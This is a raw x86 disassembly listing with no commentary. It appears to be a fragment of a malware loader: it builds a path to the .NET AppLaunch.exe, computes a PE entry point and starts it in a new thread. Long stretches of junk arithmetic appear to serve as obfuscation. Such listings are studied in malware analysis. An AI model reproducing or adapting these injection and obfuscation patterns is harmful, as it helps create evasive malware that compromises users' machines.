mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x409506
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401220
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
sub edi, 0x1c
imul eax
not ebx
dec edx
neg edi
ror esi, 0xab
not ebx
not eax
or eax, 0xd0
rol ebx, 0x35
dec edx
or ebx, 0x12
inc esi
sub edi, 0xf4
rcl edi, 0xdd
and eax, 0x24
inc edi
rol ebx, 0xa6
inc edx
rol edi, 0x73
not eax
neg esi
sub ebx, 0xfa
mov edx, 0xa5
and ebx, 1
neg esi
sbb eax, 0xfa
rcl edx, 5
add eax, 6
imul eax
imul eax
bswap esi
or esi, 0x41
and esi, 0x4b
rcr edx, 0x4b
not esi
dec edx
imul edx
sbb esi, 0x26
imul edx
inc edi
bswap edi
rcr ebx, 0xd8
and esi, 0xf6
neg esi
add eax, 0xb4
imul ebx
rcl edi, 0x8c
neg eax
inc eax
dec esi
bswap edx
dec eax
add esi, 0xc9
bswap ebx
imul edi
dec ebx
not esi
inc edx
inc esi
bswap esi
or esi, 0x20
rol ebx, 0xfa
rol edi, 0x20
dec esi
add edi, 0x51
mov eax, 0x44
rol eax, 0x7d
sbb edi, 0x70
rcr edx, 7
sbb eax, 0xfc
add edx, 0x43
ror eax, 0xa6
rcr edx, 0xc9
dec esi
rcl edi, 0x6a
bswap esi
imul edx
ror edx, 0x95
rcr ebx, 0xb
imul eax
rcl eax, 0xa3
inc edx
rol ebx, 0xba
mov eax, 0xab
imul edi
bswap eax
inc edx
rol edi, 0xfb
sbb edi, 0xc5
or ebx, 0x4a
inc edx
not edi
inc esi
mov edx, 0x81
add eax, 0xfc
bswap edx
or edx, 0x27
sbb edi, 0x8a
inc eax
not eax
neg edx
rcl eax, 0x64
dec eax
inc edi
neg edi
mov eax, 0x81
or ebx, 0x1e
dec esi
and edi, 1
bswap edx
sbb esi, 0xe7
neg esi
neg edi
not edi
rcl esi, 0xfd
bswap edi
and esi, 0x88
rcr eax, 0x2b
imul esi
and ebx, 0xa8
ror edi, 0xb5
dec edx
rcr eax, 0x9a
mov edx, 0x80
dec ebx
mov ebx, 0xe2
dec eax
rcl edx, 0xba
sbb edi, 0x82
sub esi, 0x75
dec eax
sbb ebx, 0xda
neg esi
rol esi, 0xb1
and edi, 0xdf
add esi, 0xd7
neg eax
rol esi, 0xda
rcl eax, 0xc6
bswap ebx
inc esi
dec edi
rcr ebx, 0x1a
or esi, 0x33
and edx, 0xb8
rcl ebx, 0x87
mov esi, 0xce
mov edi, 0x60
dec edx
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x4096f9
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401220
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
or ebx, 0xb7
inc ebx
rol ebx, 0x19
not ebx
neg ebx
rcr ebx, 0x4f
bswap edi
bswap eax
rcr eax, 0x6a
not edx
bswap eax
and edi, 0x52
neg ebx
dec esi
bswap esi
bswap eax
or edi, 0x81
sbb esi, 0x19
add ebx, 0x3f
add edx, 0xcf
mov edx, 0x62
not eax
ror ebx, 0xdb
not ebx
inc ebx
not eax
imul edi
neg edi
sbb edx, 0x2d
not edi
bswap esi
inc edi
neg esi
neg eax
imul edi
imul esi
dec ebx
dec esi
neg ebx
imul edx
add ebx, 0xe7
inc ebx
dec edx
sbb ebx, 0xfa
add edx, 0x76
dec ebx
bswap edi
dec esi
imul eax
neg ebx
mov eax, 8
inc edx
bswap edi
or esi, 0x70
ror edx, 0xa5
and ebx, 0xb0
imul ebx
not eax
or eax, 0x99
rcr esi, 0xfd
or ebx, 7
neg ebx
rcr edi, 0x56
dec edi
mov eax, 0xa6
dec edi
dec edx
and eax, 0xd4
bswap ebx
dec edx
neg ebx
or edx, 0x35
sbb ebx, 0x37
and ebx, 0xcd
not ebx
sbb edi, 0xd2
ror eax, 0x3f
inc edx
bswap edi
rol edi, 0xeb
inc ebx
not eax
or edx, 0x2d
neg esi
or eax, 0x89
neg esi
bswap edi
bswap ebx
neg ebx
not edx
bswap edx
imul ebx
rol ebx, 0xe2
bswap edi
and esi, 0xb
imul ebx
inc edx
dec esi
and edx, 0x7b
ror eax, 9
bswap edx
neg edi
neg esi
or ebx, 0xf
and edi, 0x80
neg edx
sub edi, 0xba
rcr eax, 0x8f
and ebx, 0x4a
dec ebx
inc edi
rcr eax, 0xc0
inc edx
bswap edi
bswap esi
and esi, 0x41
rcl ebx, 0xda
neg edx
or eax, 0xf3
imul ebx
inc edi
imul edi
imul eax
add esi, 6
ror ebx, 0x9d
sub esi, 0x4b
inc edi
sbb esi, 0x31
not ebx
inc ebx
neg eax
not esi
rcl edx, 0xd8
dec edx
sub eax, 0xce
mov edx, 0xb1
imul eax
add eax, 0xf6
sbb ebx, 0x87
imul edx
rol eax, 0xdf
or ebx, 8
rol edi, 0x93
not esi
add esi, 0xdc
bswap edi
and eax, 0x5b
add edi, 0x6f
not eax
rcl esi, 0xa3
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret